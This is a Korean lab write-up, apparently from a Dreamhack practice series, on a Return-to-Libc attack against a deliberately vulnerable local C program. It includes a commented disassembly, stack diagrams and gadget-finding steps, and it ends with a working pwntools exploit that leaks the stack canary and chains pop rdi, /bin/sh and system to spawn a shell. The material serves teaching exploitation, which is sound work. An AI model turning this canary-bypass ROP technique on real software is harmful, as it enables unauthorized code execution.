1. 실습 코드
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt'");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
2. 코드 분석
- 실행파일을 디컴파일하여 분석해보면, 아래와 같은 스택이 존재하는 것을 알 수 있다.
+-----------------------+--[EBP-0X40]
| |
+-----------------------+
| |
+-----------------------+
| |
+-----------------------+
| |
+-----------------------+
| |
+-----------------------+
| |
+-----------------------+
| |
+-----------------------+
| Canary |
+-----------------------+ <- EBP
| RBP |
+-----------------------+
| RET |
+-----------------------+
- 분석한 코드는 아래와 같으며, 간단히 주석 처리하며 분석한 것이다.
(gdb) disas main
Dump of assembler code for function main:
0x00000000004011d6 <+0>: endbr64
0x00000000004011da <+4>: push rbp
0x00000000004011db <+5>: mov rbp,rsp
0x00000000004011de <+8>: sub rsp,0x40
/* ==== [ Canary ] ===== */
0x00000000004011e2 <+12>: mov rax,QWORD PTR fs:0x28
0x00000000004011eb <+21>: mov QWORD PTR [rbp-0x8],rax
// setvbuf(stdin, 0, _IONBF, 0);
0x00000000004011ef <+25>: xor eax,eax
0x00000000004011f1 <+27>: mov rax,QWORD PTR [rip+0x2e78] # 0x404070 <stdin@@GLIBC_2.2.5>
0x00000000004011f8 <+34>: mov ecx,0x0
0x00000000004011fd <+39>: mov edx,0x2
0x0000000000401202 <+44>: mov esi,0x0
0x0000000000401207 <+49>: mov rdi,rax
0x000000000040120a <+52>: call 0x4010e0 <setvbuf@plt>
// setvbuf(stdout, 0, _IONBF, 0);
0x000000000040120f <+57>: mov rax,QWORD PTR [rip+0x2e4a] # 0x404060 <stdout@@GLIBC_2.2.5>
0x0000000000401216 <+64>: mov ecx,0x0
0x000000000040121b <+69>: mov edx,0x2
0x0000000000401220 <+74>: mov esi,0x0
0x0000000000401225 <+79>: mov rdi,rax
0x0000000000401228 <+82>: call 0x4010e0 <setvbuf@plt>
// system("echo 'system@plt'")
0x000000000040122d <+87>: mov edi,0x40200c //0x40200c: "echo 'system@plt'"
0x0000000000401232 <+92>: mov eax,0x0
0x0000000000401237 <+97>: call 0x4010b0 <system@plt>
// puts("[1] Leak Canary")
0x000000000040123c <+102>: mov edi,0x40201e //0x40201e: "[1] Leak Canary"
0x0000000000401241 <+107>: call 0x401090 <puts@plt>
// printf("Buf: ")
0x0000000000401246 <+112>: mov edi,0x40202e //0x40202e: "Buf: "
0x000000000040124b <+117>: mov eax,0x0
0x0000000000401250 <+122>: call 0x4010c0 <printf@plt>
// read(0, rbp-0x40, 0x100)
0x0000000000401255 <+127>: lea rax,[rbp-0x40]
0x0000000000401259 <+131>: mov edx,0x100
0x000000000040125e <+136>: mov rsi,rax
0x0000000000401261 <+139>: mov edi,0x0
0x0000000000401266 <+144>: call 0x4010d0 <read@plt>
// printf("Buf: %s\n")
0x000000000040126b <+149>: lea rax,[rbp-0x40]
0x000000000040126f <+153>: mov rsi,rax
0x0000000000401272 <+156>: mov edi,0x402034 //0x402034: "Buf: %s\n"
0x0000000000401277 <+161>: mov eax,0x0
0x000000000040127c <+166>: call 0x4010c0 <printf@plt>
// printf("[2] Overwrite return address\n");
0x0000000000401281 <+171>: mov edi,0x40203d //0x40203d: "[2] Overwrite return address"
0x0000000000401286 <+176>: call 0x401090 <puts@plt>
// printf("Buf: ");
0x000000000040128b <+181>: mov edi,0x40202e //0x40202e: "Buf: "
0x0000000000401290 <+186>: mov eax,0x0
0x0000000000401295 <+191>: call 0x4010c0 <printf@plt>
// read(0, buf, 0x100);
0x000000000040129a <+196>: lea rax,[rbp-0x40]
0x000000000040129e <+200>: mov edx,0x100
0x00000000004012a3 <+205>: mov rsi,rax
0x00000000004012a6 <+208>: mov edi,0x0
0x00000000004012ab <+213>: call 0x4010d0 <read@plt>
/* ==== [ Canary Check ] ===== */
0x00000000004012b0 <+218>: mov eax,0x0
0x00000000004012b5 <+223>: mov rcx,QWORD PTR [rbp-0x8]
0x00000000004012b9 <+227>: xor rcx,QWORD PTR fs:0x28
0x00000000004012c2 <+236>: je 0x4012c9 <main+243>
0x00000000004012c4 <+238>: call 0x4010a0 <__stack_chk_fail@plt>
0x00000000004012c9 <+243>: leave
0x00000000004012ca <+244>: ret
End of assembler dump.
3. 공격 시나리오
① checksec을 통해, 보호기법을 파악한다.
- canary 존재하고 NX가 적용된 것을 볼 수 있으며, PIE가 적용되지 않은 것을 확인할 수 있다.
- 기본적으로 적용되는 ASLR이 적용되어도, PIE가 적용되지 않으면 "코드 세그먼트"와 "데이터 세그먼트"의 주소는 고정된다.
② 보호기법을 우회하여, 아래와 같은 시나리오를 만들 수 있다.
- 첫 번째 입력값에서 bof취약점이 존재하여, 카나리를 추출해 낼 수 있다.
- 두 번째 입력값에서 canary를 우회하고, return address를 가젯 주소로 덮어씀으로써 라이브러리 함수를 실행하고 shell을 획득할 수 있다.
③ 시나리오를 스택으로 그려보면, 아래와 같다.
+---------------------------+--[EBP-0X40]
| |
+---------------------------+
| |
+---------------------------+
| |
+---------------------------+
| |
+---------------------------+
| |
+---------------------------+
| |
+---------------------------+
| |
+---------------------------+
| Canary |
+---------------------------+ <- EBP
| RBP |
+---------------------------+
| RET => 가젯주소 |
+---------------------------+
| /bin/sh 주소 |
+---------------------------+
| PLT의 system주소 |
+---------------------------+
4. 풀이
해당 풀이는 gdb를 이용한 것이며, pwndbg를 쓰고 싶다면 강의에서 알아보는 것을 추천한다.
① 가젯주소 알아낸다.
- ROPgadget툴을 이용하여, 가젯 주소를 알아내었다.
- --re옵션을 사용하면, 정규표현식으로 가젯을 필터링할 수 있다.
// ROPgadget 설치 명령어
$ python3 -m pip install ROPgadget --user
// 'rtl'이라는 바이너리에서 'pop rdi'코드가 포함된 gadget을 찾는 명령어
$ ROPgadget --binary ./rtl --re "pop rdi"
- 해당 실습에서 뽑은 가젯 코드는 아래와 같다.
pop rdi
ret
- 0x401333이 가젯 주소인 것을 알 수 있다.
② /bin/sh주소를 알아낸다.
- 먼저 gdb를 통해, 맵핑된 메모리 정보를 확인한다.
- gdb의 find명령어로, rtl 메모리 범위 안에 "/bin/sh"가 존재하는지 검색한다.
(gdb) find [범위: 시작주소], [범위: 끝주소], [찾고자하는 값]
- "/bin/sh" 주소가 0x402004인 것을 알 수 있다.
③ PLT에 위치한 system주소를 알아낸다.
- PIE가 적용되지 않아서 PLT에 위치한 고정된 system함수의 주소 값을 알아내어, 라이브러리 함수를 실행할 수 있다.
- gdb를 통해 PLT에 있는 system함수 주소를 알고 싶으면, 프로그램을 gdb에 연결 후 run 하기 전에 확인해야 한다.
왜냐하면 프로그램도 run하기 전까지 라이브러리 주소를 모르기 때문에, 고정된 plt주소 값을 반환하기 때문이다. - plt에 위치한 system함수의 주소는 0x4010b0인 것을 확인할 수 있다.
5. Exploit
- pwntool을 이용하여, exploit 코드를 작성해보면 아래와 같다.
- system함수로 rip가 이동할 때, 스택은 반드시 0x10단위로 정렬되어 있어야 한다.
이는 system함수 내부에 있는 movaps명령어 때문으로, 스택이 0x10단위로 정렬되어 있지 않으면 Segmentation Fault이 발생한다.
from pwn import *
import binascii
p = process(b"./rtl")
in_v = b"A" * 0x39
print("in_v: ", in_v)
gad = 0x401333
sh = 0x402004
sys = 0x4010b0
print(f"Gadget: 0x{gad:x}, /bin/sh: 0x{sh:x}, system: 0x{sys:x}")
p.sendafter(b"Buf: ", in_v)
p.recvuntil(b"Buf: ")
p.recvuntil(b"A" * 0x39)
canary = u64(b'\x00'+p.recvn(7))
print("[+] Canary: ", hex(canary))
in_v2 = b"A" * 0x38
in_v2 += p64(canary)
in_v2 += b"BBBBBBBB"
in_v2 += p64(gad) # -> pop rdi; ret
in_v2 += p64(sh) # -> /bin/sh
in_v2 += p64(gad+1) # -> ret;
in_v2 += p64(sys) # -> system
print(hexdump(in_v2))
p.sendafter(b"Buf: ", in_v2)
p.interactive()
- shell 얻을 것을 확인하기 위해, flag 파일을 임의로 만들어 주었다.
'Dreamhack > Lecture & Practice' 카테고리의 다른 글
[Lecture] OOB (Out of bounds) (0) | 2022.08.09 |
---|---|
[Practice] Hook Overwrite (0) | 2022.07.14 |
[Lecture] PIE (Position-Independent Executable) (0) | 2022.07.12 |
[Lecture] RELRO (RELocation Read-Only) (0) | 2022.07.11 |
[Practice] ROP - GOT Overwrite (0) | 2022.07.02 |